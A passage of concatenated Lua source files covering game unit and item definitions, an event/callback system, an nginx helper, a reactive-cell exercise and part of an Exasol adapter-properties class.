if abilityOwner:getTraits().cooldown and abilityOwner:getTraits().cooldownMax then
abilityOwner:getTraits().cooldown = abilityOwner:getTraits().cooldownMax
end
if abilityOwner:getTraits().mainframe_icon_on_deploy then
abilityOwner:getTraits().mainframe_icon = true
end
sim:triggerEvent( simdefs.TRG_UNIT_DEPLOYED, { unit = abilityOwner })
sim:dispatchEvent( simdefs.EV_UNIT_REFRESH, { unit = abilityOwner } )
end,
}
return deployable
|
return {
tllasonar = {
activatewhenbuilt = true,
buildangle = 8192,
buildcostenergy = 2932,
buildcostmetal = 195,
builder = false,
buildinggrounddecaldecayspeed = 30,
buildinggrounddecalsizex = 4,
buildinggrounddecalsizey = 4,
buildinggrounddecaltype = "tllasonar_aoplane.dds",
buildpic = "tllasonar.dds",
buildtime = 6812,
category = "ALL UNDERWATER SURFACE",
corpse = "dead",
description = "Tech Level 2",
energymake = 21,
energyuse = 50,
explodeas = "SMALL_BUILDINGEX",
footprintx = 2,
footprintz = 2,
icontype = "building",
idleautoheal = 5,
idletime = 1800,
losemitheight = 35,
mass = 195,
maxdamage = 455,
maxslope = 10,
minwaterdepth = 30,
name = "Sonar Station",
noautofire = false,
noshadow = 1,
objectname = "TLLASONAR",
onoffable = true,
radaremitheight = 34,
selfdestructas = "SMALL_BUILDING",
sightdistance = 195,
sonardistance = 2400,
unitname = "tllasonar",
usebuildinggrounddecal = true,
waterline = 2,
yardmap = "oooo",
customparams = {
buildpic = "tllasonar.dds",
faction = "TLL",
},
featuredefs = {
dead = {
blocking = true,
damage = 550,
description = "Advanced Sonar Station Wreckage",
featuredead = "heap",
footprintx = 2,
footprintz = 2,
metal = 146,
object = "tllasonar_dead",
reclaimable = true,
customparams = {
fromunit = 1,
},
},
heap = {
blocking = false,
damage = 687,
description = "Advanced Sonar Station Debris",
footprintx = 2,
footprintz = 2,
metal = 78,
object = "2x2b",
reclaimable = true,
customparams = {
fromunit = 1,
},
},
},
sfxtypes = {
pieceexplosiongenerators = {
[1] = "piecetrail0",
[2] = "piecetrail1",
[3] = "piecetrail2",
[4] = "piecetrail3",
[5] = "piecetrail4",
[6] = "piecetrail6",
},
},
sounds = {
activate = "sonar1",
canceldestruct = "cancel2",
deactivate = "sonarde1",
underattack = "warning1",
count = {
[1] = "count6",
[2] = "count5",
[3] = "count4",
[4] = "count3",
[5] = "count2",
[6] = "count1",
},
select = {
[1] = "sonar1",
},
},
},
}
|
GlobalEvent = {}
function GlobalEvent.Init()
GlobalEvent.SubscriberList = {}
GlobalEvent.LastEventData = {}
end
function GlobalEvent.ClearLastEventData()
GlobalEvent.LastEventData = {}
end
local weakmeta = {__mode = "kv"}
--[[
包装回调函数,...调用回调时放在前面的参数,
主要服务于继承于ObjectBase的对象,当该对象调用了Release销毁之后
回调不会生效
--]]
function InsCallBack(callBack, Ins, ...)
assert(callBack)
if type(Ins) ~= "table" or Ins._meta_ == nil then
error("InsCallBack error, Ins Must is a class ins")
end
local parameters = setmetatable({Ins, ...}, weakmeta)
local handle = {}
function handle:GetParam()
return parameters
end
local len_p = table.maxn(parameters)
local function f(...)
local args = {...}
local len_a = table.maxn(args)
for i = 1, len_a do
parameters[i+len_p] = args[i]
end
if parameters[1] == nil or parameters[1]._has_destroy_ then
return
end
local function trucall()
handle.result = callBack(unpack(parameters, 1, len_p+len_a))
end
Xpcall(trucall)
return handle.result
end
return f, handle
end
--[[
当...的第一个对象是table时,如果该table被垃圾回收了,那么就不会回调了
--]]
function SafeCallBack(callBack, ...)
local parameters = setmetatable({...}, weakmeta)
local handle = {}
function handle:GetParam()
return parameters
end
local len_p = table.maxn(parameters)
local function f(...)
local args = {...}
local len_a = table.maxn(args)
for i = 1, len_a do
parameters[i+len_p] = args[i]
end
if parameters[1] == nil then
return
end
local function trucall()
handle.result = callBack(unpack(parameters, 1, len_p+len_a))
end
Xpcall(trucall)
return handle.result
end
return f, handle
end
--[[
包装回调的,把...参数包装起来,回调时放在前面传回
--]]
function MakeCallBack(callBack, ...)
local parameters = setmetatable({...}, weakmeta)
local handle = {}
function handle:GetParam()
return parameters
end
local len_p = table.maxn(parameters)
local function f(...)
local args = {...}
local len_a = table.maxn(args)
for i = 1, len_a do
parameters[i+len_p] = args[i]
end
local function trucall()
handle.result = callBack(unpack(parameters, 1, len_p+len_a))
end
Xpcall(trucall)
return handle.result
end
return f, handle
end
local function CallBack(Callbackfunction, parameters, args)
args = args or {}
local par = setmetatable({}, weakmeta)
local len = table.maxn(parameters)
for i = 1, len do
par[i] = parameters[i]
end
for i = 1, table.maxn(args) do
par[i + len] = args[i]
end
xpcall(function()Callbackfunction(unpack(par, 1, table.maxn(par))) end, errhandle)
end
function GlobalEvent.Subscribe(EventName, Callbackfunction, ...)
if type(Callbackfunction) ~= "function" then return end
local parameters = setmetatable({...}, weakmeta)
local Subscriber = {Callbackfunction, parameters}
if type(EventName) ~= "table" then EventName = {EventName} end
for _, Event in pairs(EventName) do
if GlobalEvent.SubscriberList[Event] == nil then
GlobalEvent.SubscriberList[Event] = {}
end
GlobalEvent.SubscriberList[Event][Subscriber] = true
end
local Handle = {EventName, Subscriber}
Handle.OwnerTable = setmetatable({}, weakmeta)
-- 与ObjectBase对象配合用的,使得生命周期绑定一起
function Handle.SetOwner(ObjectBaseOwner)
Handle.OwnerTable[1] = ObjectBaseOwner
end
-- 销毁
function Handle.Destroy()
GlobalEvent.UnSubscribe(Handle)
local Owner = Handle.OwnerTable[1]
if Owner then
Owner:RemoveEventHandle(Handle)
end
end
-- 用之前的Fire的数据Fire一次
function Handle.Fire()
local data = {GlobalEvent.Data(EventName[1])}
CallBack(Callbackfunction, parameters, data)
return Handle
end
-- 如果之前有Fire过,那么Fire一次
function Handle.CheckFire()
local data = {GlobalEvent.Data(EventName[1])}
if data[1] then
CallBack(Callbackfunction, parameters, data)
end
return Handle
end
return Handle
end
-- Fire一次
function GlobalEvent.FireEvent(EventName, ...)
local arg = {...}
GlobalEvent.FiringEvent = EventName
GlobalEvent.LastEventData[EventName] = arg
if GlobalEvent.SubscriberList[EventName] == nil then return end
local FireList = {}
for Subscriber in pairs(GlobalEvent.SubscriberList[EventName]) do
table.insert(FireList, Subscriber)
end
for _, Subscriber in ipairs(FireList) do
if GlobalEvent.SubscriberList[EventName][Subscriber] then
CallBack(Subscriber[1], Subscriber[2], arg)
end
end
end
function GlobalEvent.UnSubscribe(SubscriberInfo)
if type(SubscriberInfo) ~= "table" then return end
local EventName = SubscriberInfo[1]
local Subscriber = SubscriberInfo[2]
if type(EventName) == "table" and Subscriber then
for _, Event in pairs(EventName) do
if Event and GlobalEvent.SubscriberList[Event] then
GlobalEvent.SubscriberList[Event][Subscriber] = nil
end
end
end
end
function GlobalEvent.GetEvent()
return GlobalEvent.FiringEvent
end
function GlobalEvent.GetLastEventData(EventName)
if EventName == nil then
if GlobalEvent.FiringEvent then return GlobalEvent.GetLastEventData(GlobalEvent.FiringEvent) end
elseif type(GlobalEvent.LastEventData[EventName]) == "table" then
return unpack(GlobalEvent.LastEventData[EventName], 1, table.maxn(GlobalEvent.LastEventData[EventName]))
end
end
function GlobalEvent.Clear(EventName)
GlobalEvent.LastEventData[EventName] = nil
end
function GlobalEvent.Save(EventName, ...)
local arg = {...}
GlobalEvent.LastEventData[EventName] = arg
end
GlobalEvent.Init()
-- 简化API
GlobalEvent.On = GlobalEvent.Subscribe
GlobalEvent.Fire = GlobalEvent.FireEvent
GlobalEvent.Data = GlobalEvent.GetLastEventData
GlobalEvent.Event = GlobalEvent.GetEvent
return GlobalEvent
|
--[[
Name: misc_game_items.lua
-----------------------------------------------------------------
-- @package VrZn - Custom Gamemode (SRP BASE)
-- @author Nodge
-- @build Beta 1
-----------------------------------------------------------------
]]--
local Item = {}
Item.Name = "Casino Chips"
Item.Desc = "Chips for use in a casino."
Item.Model = "models/props_phx/games/chess/black_dama.mdl"
Item.Weight = 0
Item.Volume = 0
Item.CanDrop = true
Item.DropCombined = true --Make only 1 item when dropping many, allows for items to drop stacked
Item.UI_DropMany = true --Enable dropping many items in the item card ui
Item.LimitID = "casino chips"
Item.DropClass = "ent_money_chips"
Item.SetupEntity = function( _, eEnt, intAmount )
eEnt:SetAmount( intAmount )
end
GM.Inv:RegisterItem( Item )
GM.Inv:RegisterItemLimit( Item.LimitID, 10 )
local Item = {}
Item.Name = "Lawn Mower"
Item.Desc = "Mows grass, pretty simple."
Item.Model = "models/props/de_overpass/lawn_mower.mdl"
Item.Weight = 35
Item.Volume = 50
Item.HealthOverride = 3000
Item.JobItem = "JOB_ROADWORKER"
Item.CanDrop = true
Item.RemoveDropOnDeath = true
Item.LimitID = "lawn mower"
Item.DropClass = "road_mower"
Item.SetupEntity = function( _, entItem )
-- stuff
end
GM.Inv:RegisterItem( Item )
GM.Inv:RegisterItemLimit( Item.LimitID, 1 )
local Item = {}
Item.Name = "Medical Supplies"
Item.Desc = "A vial of essential medical supplies, consumed by the first aid kit."
Item.Model = "models/healthvial.mdl"
Item.Type = "type_ammo"
Item.Weight = 2
Item.Volume = 2
Item.CanDrop = true
Item.LimitID = "medical supplies"
Item.CraftingEntClass = "ent_crafting_table"
Item.CraftSkill = "Nível do Personagem"
Item.CraftSkillLevel = 5
Item.CraftSkillXP = 5
Item.CraftRecipe = {
["Metal Plate"] = 2,
["Cloth"] = 4,
}
GM.Inv:RegisterItem( Item )
GM.Inv:RegisterItemLimit( Item.LimitID, 12 )
local Item = {}
Item.Name = "Government Issue Medical Supplies"
Item.Desc = "A vial of essential medical supplies, consumed by the first aid kit."
Item.Model = "models/healthvial.mdl"
Item.Type = "type_ammo"
Item.JobItem = "JOB_EMS" --This item can only be possessed by by players with this job
Item.Weight = 2
Item.Volume = 2
Item.CanDrop = false
GM.Inv:RegisterItem( Item )
local Item = {}
Item.Name = "Fuel Can"
Item.Desc = "A can of fuel."
Item.Model = "models/props_junk/gascan001a.mdl"
Item.Weight = 10
Item.Volume = 8
Item.CanDrop = true
Item.LimitID = "fuel can"
Item.DropClass = "ent_fuelcan"
GM.Inv:RegisterItem( Item )
GM.Inv:RegisterItemLimit( Item.LimitID, 2 )
local Item = {}
Item.Name = "Storage Chest"
Item.Desc = "A large chest for storing items temporally."
Item.Model = "models/Items/ammocrate_smg1.mdl"
Item.Weight = 45
Item.Volume = 70
Item.HealthOverride = 1000
Item.CanDrop = true
Item.LimitID = "storage chest"
Item.DropClass = "ent_storage_chest"
GM.Inv:RegisterItem( Item )
GM.Inv:RegisterItemLimit( Item.LimitID, 2, { ["vip"] = 1 } )
local Item = {}
Item.Name = "Road Flare"
Item.Desc = "A road flare, drop and press E on to ignite."
Item.Model = "models/props_junk/flare.mdl"
Item.Weight = 2
Item.Volume = 1
Item.CanDrop = true
Item.LimitID = "road flare"
Item.DropClass = "ent_roadflare"
Item.DrugLab_BlenderVars = {
BlendProgress = 10,
BlendAmountPerTick = 0.15,
GiveItem = "Red Phosphorous",
GiveAmount = 4,
}
GM.Inv:RegisterItem( Item )
GM.Inv:RegisterItemLimit( Item.LimitID, 3 )
local Item = {}
Item.Name = "Engine Overhaul"
Item.Desc = "A complete engine overhaul kit. Used on vehicles that have 0 health."
Item.Model = "models/props_c17/TrapPropeller_Engine.mdl"
Item.Weight = 100
Item.Volume = 80
Item.CanDrop = true
Item.LimitID = "car repair kit"
Item.DropClass = "ent_carfix_high"
Item.CraftingEntClass = "ent_crafting_table"
Item.CraftSkill = "Nível do Personagem"
Item.CraftSkillLevel = 15
Item.CraftSkillXP = 5
Item.CraftRecipe = {
["Engine Block"] = 1,
["Car Battery"] = 1,
["Metal Plate"] = 2,
["Metal Pipe"] = 1,
["Crowbar"] = 1,
["Wrench"] = 2,
["Pliers"] = 1,
}
GM.Inv:RegisterItem( Item )
GM.Inv:RegisterItemLimit( Item.LimitID, 2 )
local Item = {}
Item.Name = "Vehicle Repair Kit"
Item.Desc = "Tools and components for repairing general vehicle damage."
Item.Model = "models/props/cs_office/Cardboard_box01.mdl"
Item.Weight = 80
Item.Volume = 25
Item.CanDrop = true
Item.LimitID = "car repair kit"
Item.DropClass = "ent_carfix_medium"
Item.CraftingEntClass = "ent_crafting_table"
Item.CraftSkill = "Nível do Personagem"
Item.CraftSkillLevel = 1
Item.CraftSkillXP = 5
Item.CraftRecipe = {
["Car Battery"] = 8,
["Metal Plate"] = 10,
["Metal Pipe"] = 5,
["Crowbar"] = 5,
["Wrench"] = 5,
["Pliers"] = 1,
}
GM.Inv:RegisterItem( Item )
GM.Inv:RegisterItemLimit( Item.LimitID, 2 )
local Item = {}
Item.Name = "Roadside Quick-Fix Kit"
Item.Desc = "A small set of parts and a few tools for fixing light damage to vehicles."
Item.Model = "models/props_c17/BriefCase001a.mdl"
Item.Weight = 30
Item.Volume = 10
Item.CanDrop = true
Item.LimitID = "car repair kit"
Item.DropClass = "ent_carfix_light"
Item.CraftingEntClass = "ent_crafting_table"
Item.CraftSkill = "Nível do Personagem"
Item.CraftSkillLevel = 1
Item.CraftSkillXP = 5
Item.CraftRecipe = {
["Metal Plate"] = 2,
["Metal Pipe"] = 4,
["Wrench"] = 3,
["Pliers"] = 3,
}
GM.Inv:RegisterItem( Item )
GM.Inv:RegisterItemLimit( Item.LimitID, 2 )
local Item = {}
Item.Name = "Spare Tire Kit"
Item.Desc = "A replacement set of tires for any vehicle."
Item.Model = "models/props_vehicles/carparts_wheel01a.mdl"
Item.Weight = 60
Item.Volume = 80
Item.CanDrop = true
Item.LimitID = "car repair kit"
Item.DropClass = "ent_carfix_wheels"
Item.CraftingEntClass = "ent_crafting_table"
Item.CraftSkill = "Nível do Personagem"
Item.CraftSkillLevel = 1
Item.CraftSkillXP = 5
Item.CraftRecipe = {
["Metal Plate"] = 2,
["Metal Bracket"] = 4,
["Wrench"] = 1,
["Rubber Tire"] = 4,
}
GM.Inv:RegisterItem( Item )
GM.Inv:RegisterItemLimit( Item.LimitID, 2 )
local Item = {}
Item.Name = "Police Issue Roadside Quick-Fix Kit"
Item.Desc = "A small set of parts and a few tools for fixing light damage to vehicles."
Item.Model = "models/props_c17/BriefCase001a.mdl"
Item.Weight = 30
Item.Volume = 10
Item.CanDrop = true
Item.JobItem = "JOB_POLICE" --This item can only be possessed by by players with this job
Item.LimitID = "car repair kit"
Item.DropClass = "ent_carfix_light"
GM.Inv:RegisterItem( Item )
GM.Inv:RegisterItemLimit( Item.LimitID, 2 )
local Item = {}
Item.Name = "Police Issue Spare Tire Kit"
Item.Desc = "A replacement set of tires for any vehicle."
Item.Model = "models/props_vehicles/carparts_wheel01a.mdl"
Item.Weight = 60
Item.Volume = 80
Item.CanDrop = true
Item.JobItem = "JOB_POLICE" --This item can only be possessed by by players with this job
Item.LimitID = "car repair kit"
Item.DropClass = "ent_carfix_wheels"
GM.Inv:RegisterItem( Item )
GM.Inv:RegisterItemLimit( Item.LimitID, 2 )
------------------------------------------------------
local Item = {}
Item.Name = "Police Issue Spare Tire Kit"
Item.Desc = "A replacement set of tires for any vehicle."
Item.Model = "models/props_vehicles/carparts_wheel01a.mdl"
Item.Weight = 60
Item.Volume = 80
Item.CanDrop = true
Item.JobItem = "JOB_POLICE" --This item can only be possessed by by players with this job
Item.LimitID = "car repair kit"
Item.DropClass = "ent_carfix_wheels"
GM.Inv:RegisterItem( Item )
GM.Inv:RegisterItemLimit( Item.LimitID, 2 )
local Item = {}
Item.Name = "Police Issue Traffic Cone"
Item.Desc = "A traffic cone."
Item.Model = "models/props_junk/TrafficCone001a.mdl"
Item.Weight = 1
Item.Volume = 1
Item.CanDrop = true
Item.RemoveDropOnDeath = true
Item.CollidesWithCars = true
Item.JobItem = "JOB_POLICE" --This item can only be possessed by by players with this job
Item.LimitID = "traffic cone"
Item.SetupEntity = function( _, eEnt )
eEnt.CanPlayerPickup = function( eEnt, pPlayer, bCanUse )
return eEnt:GetPlayerOwner() == pPlayer
end
end
GM.Inv:RegisterItem( Item )
GM.Inv:RegisterItemLimit( Item.LimitID, 10 )
local Item = {}
Item.Name = "Police Issue Traffic Board"
Item.Desc = "A traffic trailer board."
Item.Model = "models/noble/trailermessageboard/trailermessageboard.mdl"
Item.Weight = 2
Item.Volume = 8
Item.CanDrop = true
Item.RemoveDropOnDeath = true
Item.CollidesWithCars = true
Item.HealthOverride = 3000
Item.JobItem = "JOB_POLICE" --This item can only be possessed by by players with this job
Item.LimitID = "traffic board"
Item.SetupEntity = function( _, eEnt )
local phys = eEnt:GetPhysicsObject()
if IsValid( phys ) then
phys:SetMass( 100 )
end
eEnt.CanPlayerPickup = function( eEnt, pPlayer, bCanUse )
return eEnt:GetPlayerOwner() == pPlayer
end
end
GM.Inv:RegisterItem( Item )
GM.Inv:RegisterItemLimit( Item.LimitID, 1 )
local Item = {}
Item.Name = "Police Issue Traffic Barrel"
Item.Desc = "A traffic trailer barrel."
Item.Model = "models/noble/trafficbarrel/traffic_barrel.mdl"
Item.Weight = 2
Item.Volume = 8
Item.HealthOverride = 1500
Item.CanDrop = true
Item.RemoveDropOnDeath = true
Item.CollidesWithCars = true
Item.JobItem = "JOB_POLICE" --This item can only be possessed by by players with this job
Item.LimitID = "traffic barrel"
Item.SetupEntity = function( _, eEnt )
eEnt.CanPlayerPickup = function( eEnt, pPlayer, bCanUse )
return eEnt:GetPlayerOwner() == pPlayer
end
end
GM.Inv:RegisterItem( Item )
GM.Inv:RegisterItemLimit( Item.LimitID, 10 )
local Item = {}
Item.Name = "Police Issue Checkpoint"
Item.Desc = "A traffic checkpoint"
Item.Model = "models/noble/checkpoint.mdl"
Item.Weight = 2
Item.Volume = 8
Item.HealthOverride = 3000
Item.CanDrop = true
Item.RemoveDropOnDeath = true
Item.CollidesWithCars = true
Item.JobItem = "JOB_POLICE" --This item can only be possessed by by players with this job
Item.LimitID = "checkpoint"
Item.SetupEntity = function( _, eEnt )
eEnt.CanPlayerPickup = function( eEnt, pPlayer, bCanUse )
return eEnt:GetPlayerOwner() == pPlayer
end
end
GM.Inv:RegisterItem( Item )
GM.Inv:RegisterItemLimit( Item.LimitID, 1 )
local Item = {}
Item.Name = "Police Issue Roadside Quick-Fix Kit"
Item.Desc = "A small set of parts and a few tools for fixing light damage to vehicles."
Item.Model = "models/props_c17/BriefCase001a.mdl"
Item.Weight = 30
Item.Volume = 10
Item.CanDrop = true
Item.JobItem = "JOB_POLICE" --This item can only be possessed by by players with this job
Item.LimitID = "car repair kit"
Item.DropClass = "ent_carfix_light"
Item.SetupEntity = function( _, eEnt )
eEnt.CanPlayerPickup = function( eEnt, pPlayer, bCanUse )
return eEnt:GetPlayerOwner() == pPlayer
end
end
GM.Inv:RegisterItem( Item )
GM.Inv:RegisterItemLimit( Item.LimitID, 2 )
local Item = {}
Item.Name = "Police Issue Spare Tire Kit"
Item.Desc = "A replacement set of tires for any vehicle."
Item.Model = "models/props_vehicles/carparts_wheel01a.mdl"
Item.Weight = 60
Item.Volume = 80
Item.CanDrop = true
Item.JobItem = "JOB_POLICE" --This item can only be possessed by by players with this job
Item.LimitID = "car repair kit"
Item.DropClass = "ent_carfix_wheels"
Item.SetupEntity = function( _, eEnt )
eEnt.CanPlayerPickup = function( eEnt, pPlayer, bCanUse )
return eEnt:GetPlayerOwner() == pPlayer
end
end
GM.Inv:RegisterItem( Item )
GM.Inv:RegisterItemLimit( Item.LimitID, 2 )
local Item = {}
Item.Name = "Police Issue Engine Overhaul"
Item.Desc = "A complete engine overhaul kit. Used on vehicles that have 0 health."
Item.Model = "models/props_c17/TrapPropeller_Engine.mdl"
Item.Weight = 50
Item.Volume = 30
Item.CanDrop = true
Item.JobItem = "JOB_POLICE" --This item can only be possessed by by players with this job
Item.LimitID = "car repair kit"
Item.DropClass = "ent_carfix_high"
Item.SetupEntity = function( _, eEnt )
eEnt.CanPlayerPickup = function( eEnt, pPlayer, bCanUse )
return eEnt:GetPlayerOwner() == pPlayer
end
end
GM.Inv:RegisterItem( Item )
GM.Inv:RegisterItemLimit( Item.LimitID, 2 )
local Item = {}
Item.Name = "Goverment Issue Engine Overhaul"
Item.Desc = "A complete engine overhaul kit. Used on vehicles that have 0 health."
Item.Model = "models/props_c17/TrapPropeller_Engine.mdl"
Item.Weight = 50
Item.Volume = 30
Item.CanDrop = true
Item.JobItem = "JOB_SSERVICE" --This item can only be possessed by by players with this job
Item.LimitID = "car repair kit"
Item.DropClass = "ent_carfix_high"
Item.SetupEntity = function( _, eEnt )
eEnt.CanPlayerPickup = function( eEnt, pPlayer, bCanUse )
return eEnt:GetPlayerOwner() == pPlayer
end
end
GM.Inv:RegisterItem( Item )
GM.Inv:RegisterItemLimit( Item.LimitID, 2 )
local Item = {}
Item.Name = "EMS Issue Engine Overhaul"
Item.Desc = "A complete engine overhaul kit. Used on vehicles that have 0 health."
Item.Model = "models/props_c17/TrapPropeller_Engine.mdl"
Item.Weight = 50
Item.Volume = 30
Item.CanDrop = true
Item.JobItem = "JOB_EMS" --This item can only be possessed by by players with this job
Item.LimitID = "car repair kit"
Item.DropClass = "ent_carfix_high"
Item.SetupEntity = function( _, eEnt )
eEnt.CanPlayerPickup = function( eEnt, pPlayer, bCanUse )
return eEnt:GetPlayerOwner() == pPlayer
end
end
GM.Inv:RegisterItem( Item )
GM.Inv:RegisterItemLimit( Item.LimitID, 2 )
local Item = {}
Item.Name = "EMS Issue Vehicle Repair Kit"
Item.Desc = "Tools and components for repairing general vehicle damage."
Item.Model = "models/props/cs_office/Cardboard_box01.mdl"
Item.Weight = 50
Item.Volume = 30
Item.CanDrop = true
Item.JobItem = "JOB_EMS" --This item can only be possessed by by players with this job
Item.LimitID = "car repair kit"
Item.DropClass = "ent_carfix_medium"
Item.SetupEntity = function( _, eEnt )
eEnt.CanPlayerPickup = function( eEnt, pPlayer, bCanUse )
return eEnt:GetPlayerOwner() == pPlayer
end
end
GM.Inv:RegisterItem( Item )
GM.Inv:RegisterItemLimit( Item.LimitID, 2 )
local Item = {}
Item.Name = "Goverment Issue Vehicle Repair Kit"
Item.Desc = "Tools and components for repairing general vehicle damage."
Item.Model = "models/props/cs_office/Cardboard_box01.mdl"
Item.Weight = 50
Item.Volume = 30
Item.CanDrop = true
Item.JobItem = "JOB_SSERVICE" --This item can only be possessed by by players with this job
Item.LimitID = "car repair kit"
Item.DropClass = "ent_carfix_medium"
Item.SetupEntity = function( _, eEnt )
eEnt.CanPlayerPickup = function( eEnt, pPlayer, bCanUse )
return eEnt:GetPlayerOwner() == pPlayer
end
end
GM.Inv:RegisterItem( Item )
GM.Inv:RegisterItemLimit( Item.LimitID, 2 )
local Item = {}
Item.Name = "Police Issue Vehicle Repair Kit"
Item.Desc = "Tools and components for repairing general vehicle damage."
Item.Model = "models/props/cs_office/Cardboard_box01.mdl"
Item.Weight = 50
Item.Volume = 30
Item.CanDrop = true
Item.JobItem = "JOB_POLICE" --This item can only be possessed by by players with this job
Item.LimitID = "car repair kit"
Item.DropClass = "ent_carfix_medium"
Item.SetupEntity = function( _, eEnt )
eEnt.CanPlayerPickup = function( eEnt, pPlayer, bCanUse )
return eEnt:GetPlayerOwner() == pPlayer
end
end
GM.Inv:RegisterItem( Item )
GM.Inv:RegisterItemLimit( Item.LimitID, 2 )
local Item = {}
Item.Name = "EMS Issue Spare Tire Kit"
Item.Desc = "A replacement set of tires for any vehicle."
Item.Model = "models/props_vehicles/carparts_wheel01a.mdl"
Item.Weight = 50
Item.Volume = 30
Item.CanDrop = true
Item.JobItem = "JOB_EMS" --This item can only be possessed by by players with this job
Item.LimitID = "car repair kit"
Item.DropClass = "ent_carfix_wheels"
Item.SetupEntity = function( _, eEnt )
eEnt.CanPlayerPickup = function( eEnt, pPlayer, bCanUse )
return eEnt:GetPlayerOwner() == pPlayer
end
end
GM.Inv:RegisterItem( Item )
GM.Inv:RegisterItemLimit( Item.LimitID, 2 )
local Item = {}
Item.Name = "Goverment Issue Spare Tire Kit"
Item.Desc = "A replacement set of tires for any vehicle."
Item.Model = "models/props_vehicles/carparts_wheel01a.mdl"
Item.Weight = 50
Item.Volume = 30
Item.CanDrop = true
Item.JobItem = "JOB_SSERVICE" --This item can only be possessed by by players with this job
Item.LimitID = "car repair kit"
Item.DropClass = "ent_carfix_wheels"
Item.SetupEntity = function( _, eEnt )
eEnt.CanPlayerPickup = function( eEnt, pPlayer, bCanUse )
return eEnt:GetPlayerOwner() == pPlayer
end
end
GM.Inv:RegisterItem( Item )
GM.Inv:RegisterItemLimit( Item.LimitID, 2 )
local Item = {}
Item.Name = "EMS Issue Traffic Cone"
Item.Desc = "A traffic cone."
Item.Model = "models/props_junk/TrafficCone001a.mdl"
Item.Weight = 1
Item.Volume = 1
Item.HealthOverride = 5000
Item.CanDrop = true
Item.RemoveDropOnDeath = true
Item.JobItem = "JOB_EMS" --This item can only be possessed by by players with this job
Item.LimitID = "traffic cone"
Item.SetupEntity = function( _, eEnt )
eEnt.CanPlayerPickup = function( eEnt, pPlayer, bCanUse )
return eEnt:GetPlayerOwner() == pPlayer
end
end
GM.Inv:RegisterItem( Item )
GM.Inv:RegisterItemLimit( Item.LimitID, 10 )
Item.CollidesWithCars = true
|
local function randomHit(percent, scope)
if not tonumber(percent) then
ngx.log(ngx.CRIT, 'random parameter error: percent=' .. tostring(percent))
return false
end
local scope = tonumber(scope) or 100
local rnd = math.random(scope)
--ngx.log(ngx.INFO, "[randomHit] random:" .. rnd .. " current:" .. percent)
return rnd <= percent
end
local _M = {
randomHit = randomHit,
}
return _M
|
local function InputCell(value)
local children = {}
return {
get_value = function()
return value
end,
set_value = function(new_value)
value = new_value
for _, child in ipairs(children) do
child._propagate()
end
for _, child in ipairs(children) do
child._update()
end
end,
_add_child = function(child)
table.insert(children, child)
end
}
end
local function ComputeCell(...)
local callbacks = {}
local children = {}
local value
local previous_value
local cell = {}
local inputs, f do
local args = table.pack(...)
if args.n == 3 then
inputs = { args[1], args[2] }
f = args[3]
else
inputs = { args[1] }
f = args[2]
end
end
local function calculate_value()
local args = {}
for _, input in ipairs(inputs) do
table.insert(args, input.get_value())
end
return f(table.unpack(args))
end
function cell.get_value()
return value
end
function cell.watch(callback)
table.insert(callbacks, callback)
end
function cell.unwatch(callback)
for i, _callback in ipairs(callbacks) do
if callback == _callback then
table.remove(callbacks, i)
return
end
end
end
function cell._propagate()
value = calculate_value()
for _, child in ipairs(children) do
child._propagate()
end
end
function cell._update()
if previous_value ~= value then
previous_value = value
for _, callback in ipairs(callbacks) do
callback(value)
end
end
for _, child in ipairs(children) do
child._update()
end
end
function cell._add_child(child)
table.insert(children, child)
end
value = calculate_value()
previous_value = value
for _, input in ipairs(inputs) do
input._add_child(cell)
end
return cell
end
local function Reactor()
return {
InputCell = InputCell,
ComputeCell = ComputeCell
}
end
return { Reactor = Reactor }
|
local text = require("text")
local exaerror = require("exaerror")
--- This class abstracts access to the user-defined properties of the Virtual Schema.
-- @type AdapterProperties
local AdapterProperties = {}
local EXCLUDED_CAPABILITIES_PROPERTY <const> = "EXCLUDED_CAPABILITIES"
local LOG_LEVEL_PROPERTY <const> = "LOG_LEVEL"
local DEBUG_ADDRESS_PROPERTY <const> = "DEBUG_ADDRESS"
local DEFAULT_LOG_PORT <const> = 3000
--- Factory method for adapter properties
-- @param raw_properties properties as key-value pairs
-- @return adapter properties object
function AdapterProperties.create(raw_properties)
return AdapterProperties:new({raw_properties = raw_properties})
end
--- Create a new instance of adapter properties.
-- @param object pre-initialized object
-- @return new instance
function AdapterProperties:new (object)
object = object or {raw_properties = {}}
self.__index = self
setmetatable(object, self)
return object
end
--- Get the value of a property.
-- @param property_name name of the property to get
-- @return property value
function AdapterProperties:get(property_name)
return self.raw_properties[property_name]
end
--- Check if the property is set.
-- @param property_name name of the property to check
-- @return <code>true</code> if the property is set (i.e. not <code>nil</code>)
function AdapterProperties:is_property_set(property_name)
return self:get(property_name) ~= nil
end
--- Check if the property has a non-empty value.
-- @param property_name name of the property to check
-- @return <code>true</code> if the property has a non-empty value (i.e. not <code>nil</code> or an empty string)
function AdapterProperties:has_value(property_name)
local value = self:get(property_name)
return value ~= nil and value ~= ""
end
--- Check if the property value is empty.
-- @param property_name name of the property to check
-- @return <code>true</code> if the property's value is empty (i.e. the property is set to an empty string)
function AdapterProperties:is_empty(property_name)
return self:get(property_name) == ""
end
function AdapterProperties:_validate_debug_address()
if self:has_value(DEBUG_ADDRESS_PROPERTY) then
local address = self:get(DEBUG_ADDRESS_PROPERTY)
if not string.match(address, "^.-:[0-9]+$") then
exaerror.create("F-VSCL-PROP-3", "Expected log address in " .. DEBUG_ADDRESS_PROPERTY
.. " to look like '<ip>|<host>[:<port>]', but got {{address}} instead"
, {address = address})
:add_mitigations("Provide an valid IP address or host name")
:add_mitigations("Make sure host/ip and port number are separated by a colon")
:add_mitigations("Optionally add a port number (default is 3000)")
:add_mitigations("Don't add any whitespace characters")
:raise()
end
end
end
function AdapterProperties:_validate_log_level()
if self:has_value(LOG_LEVEL_PROPERTY) then
local level = self:get_log_level()
local allowed_levels = {"FATAL", "ERROR", "WARNING", "INFO", "CONFIG", "DEBUG", "TRACE"}
local found = false
for _, allowed in ipairs(allowed_levels) do
if level == allowed then
found = true
break
end
end
if not found then
exaerror.create("F-VSCL-PROP-2", "Unknown log level {{level}} in " .. LOG_LEVEL_PROPERTY .. " property",
{level = level})
:add_mitigations("Pick one of: " .. table.concat(allowed_levels, ", "))
:raise()
end
end
end
function AdapterProperties:_validate_excluded_capabilities()
if self:has_value(EXCLUDED_CAPABILITIES_PROPERTY) then
local value = self:get(EXCLUDED_CAPABILITIES_PROPERTY)
if not string.match(value, "^[ A-Za-z0-9_,]*$") then
exaerror.create("F-VSCL-PROP-1", "Invalid character(s) in " .. EXCLUDED_CAPABILITIES_PROPERTY
.. " property: {{value}}", {value = value})
